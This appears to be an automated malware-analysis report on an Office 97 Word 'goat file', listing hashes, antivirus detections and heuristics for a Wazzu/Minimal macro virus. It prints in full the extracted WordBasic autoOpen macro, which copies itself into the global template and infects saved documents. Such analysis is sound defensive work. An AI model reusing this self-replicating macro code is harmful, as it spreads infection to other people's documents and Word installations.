Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 837efe3e7728ad6f…

MALICIOUS

Office (OLE)

27.0 KB Created: 1997-04-10 16:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a92075a7672145e03749242212d83e77 SHA-1: 7a777e7e7444f6de7f1601932c6612ae2ffd5c12 SHA-256: 837efe3e7728ad6f214b099e0e5b1e23fc8622b8bba4510654498c42593841db
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Office 97 document containing a WordBasic macro. The 'autoOpen' macro is designed to copy itself to the global template, which is a common technique for establishing persistence or spreading infection. The document body explicitly states it is a 'Macro Goat File' with 'Minimal.A' infection, aligning with the detected macro behavior.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 976 bytes
SHA-256: 4da1e95dbc3558040f9915b7f7348189cf0621c29941a46dd85b0cef0af698d0
Detection
ClamAV: Doc.Trojan.Minimal-27
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"

Public Sub MAIN()
Dim fm1$
Dim gm1$
Dim Ff1$
Dim Encrypt
On Error GoTo -1: On Error GoTo Go1
WordBasic.FileSummaryInfo Update:=1
WordBasic.DisableInput (1)
WordBasic.DisableAutoMacros (0)
Dim d1 As Object: Set d1 = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo d1
fm1$ = d1.Directory + "\" + d1.FileName + ":autoOpen"
gm1$ = "Global:autoOpen"
Ff1$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 4))
If Ff1$ = ".DOT" Then
Encrypt = WordBasic.IsExecuteOnly(fm1$)
WordBasic.MacroCopy gm1$, fm1$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy fm1$, gm1$
End If
Go1:
End Sub

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